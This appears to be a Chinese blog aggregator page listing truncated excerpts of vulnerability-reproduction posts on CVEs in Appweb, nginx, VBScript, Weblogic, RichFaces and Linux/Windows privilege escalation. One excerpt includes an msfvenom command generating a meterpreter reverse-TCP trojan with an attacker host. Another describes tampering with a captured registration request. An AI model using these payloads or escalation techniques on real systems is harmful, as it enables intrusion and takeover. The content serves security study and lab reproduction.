Appweb CVE-2018-8715漏洞复现 0. 环境搭建 安装docker： curl -s https://get.docker.com/ | sh 搭建vulhub，使用wget下载vulhub： wget https://github.com/vulhub/vulhub/archive ...
转载
2021-10-29 10:27:00
338阅读
2评论
漏洞背景：Appweb是一个嵌入式HTTPWeb服务器，主要的设计思路是安全。这是直接集成到客户的应用和设备，便于开发和部署基于Web的应用程序和设备。它迅速（每秒处理3500多要求）而紧凑，其中包括支持动态网页制作，服务器端嵌入式脚本过程中的CGI，可加载模块的SSL，摘要式身份验证，虚拟主机，Apache样式配置，日志记录，单和多线程应用程序。它提供了大量的文档和示例。漏洞复现：1.访问自己的
原创
2019-07-16 19:06:03
4901阅读
点赞
近日nginx被爆出存在安全问题，有可能会致使1400多万台服务器易遭受DoS攻击。而导致安全问题的漏洞存在于HTTP/2和MP4模块中。nginxWeb服务器于11月6日发布了新版本，用于修复影响1.15.6,1.14.1之前版本的多个安全问题，被发现的安全问题有一种这样的情况——允许潜在的攻击者触发拒绝服务(DoS)状态并访问敏感的信息。升级修复方法：1、创建nginx的yum源文件（/etc
原创
2018-11-11 23:34:37
10000+阅读
1评论
漏洞描述：CVE-2018-8174 是 Windows VBScript Engine 代码执行漏洞。微软在4月20日早上确认此漏洞，并于5月8号发布了官方安全补丁，对该 0day 漏洞
原创
2021-10-25 16:34:52
248阅读
漏洞描述：CVE-2018-8174 是 Windows VBScript Engine 代码执行漏洞。微软在4月20日早上确认此漏洞，并于5月8号发布了官方安全补丁，对该 0day 漏洞
原创
2021-10-23 11:49:28
322阅读
提权：shellcode大部分是拷贝访问令牌token原理：拷贝进程pid为4(这里为4）的token到当前进程的EPROCESS中的token实现提权漏洞的再次利用漏洞bitmap漏洞可以实现任意地址的读写https://bbs.pediy.com/thread-225209.htmhttp://netsecurity.51cto.com/art/201703/534434.htmCVE-201
原创
2018-08-07 14:39:38
4283阅读
RichFacesCVE-2018-146670x00RichFaces简述RichFaces是一个基于LGPL协议开放源代码的JSF（JavaServerFaces）组件库，它能够使应用开发方便地集成AJAX。现在的RichFaces库是由Ajax4jsf和RichFaces两部分组成0x010x01漏洞成因JavaRichFaces框架中包含一个RCE漏洞,恶意***者构造包含org.ajax4
原创
2018-11-21 18:35:42
2520阅读
点赞
3评论
前言：CVE-2018-4878利用flash的漏洞来进行攻击，如果受害
转载
2023-05-19 16:13:05
0阅读
文章目录前言WPCVE-2018-12613前言在request请求当中就会被url解码一次，这就是接下来
原创
2022-10-27 06:23:02
111阅读
0x01 前言 Oracle官方发布了7月份的关键补丁更新CPU（Critical Patch Update），其中针对可造成远程代码执行
原创
2023-07-05 14:37:03
88阅读
windows 提权 cve-2018-8897影响范围：基本上是全版本具体影响范围看详情：https://portal.msrc.microsoft.co … isory/CVE-2018-8897http://www.o2oxy.cn/wp-content/uploads/2018/06/cve-2018-8897.rar
原创
2018-06-08 22:53:51
3659阅读
2评论
打开是如下注册页面 在注册时抓包并修改数据 POST /users?page=&size=5 HTTP/1.1 Host: 192.168.134.132:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Geck ...
转载
2021-07-20 10:36:00
430阅读
2评论
漏洞影响版本（未测试完全) Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) 根据GitHub的代码中所述，作者测试了以下的系统，发现均可成功。 Ubuntu 16.04.5 kernel 4.15.0-29-generic
原创
2021-07-16 10:22:58
2901阅读
docker cp 命令用于再Docker创建的容器与宿主机文件系统之间进行文件或目录复制。
原创
2023-08-07 08:17:54
129阅读
CVE-2017-3248 & CVE-2018-2628 后面的漏洞就是2017-3248的绕过而已，所以poc都一样，只是使用的payload不同 本机开启JRMP服务端 -》利用T3协议发送payload使得weblogic反序列化后，开启JRMP客户端，并连接服务端 -》服务端发送exp给客 ...
转载
2021-08-23 21:05:00
749阅读
2评论
CVE-2017-3248 & CVE-2018-2628 后面的漏洞就是2017-3248的绕过而已，所以poc都一样，只是使用的payload不同 本机开启JRMP服务端 -》利用T3协议发送payload使得weblogic反序列化后，开启JRMP客户端，并连接服务端 -》服务端发送exp给客 ...
转载
2021-08-23 21:05:00
856阅读
2评论
其实我挺羡慕火车的，为什么？“他们连擦肩而过都那么久。。。。”
---- 网易云热评
一、生成木马
目标主机：192.168.1.129（win7 x64）
攻击机：192.168.1.33
攻击端口：12121
生成木马：msfvenom --arch x64 --platform windows -p windows/x64/meterpreter/reverse_tcp lhost
原创
2021-07-05 16:54:56
434阅读
VMware 6.5 U2安装的时候会提示主机容易受到intel CPU影响，并且VMware已经提供了官方补丁说明https://kb.vmware.com/articleview?docid=55636&lang=zh_CN如果打补丁的话，除了在ESXi上打补丁外，还需要在虚拟机操作系统上也打，但这种方式会大大降低CPU的性能。我们的测试环境就直接把这个警告屏蔽了。方法如下点中ESXi
原创
2019-08-07 12:51:25
9267阅读
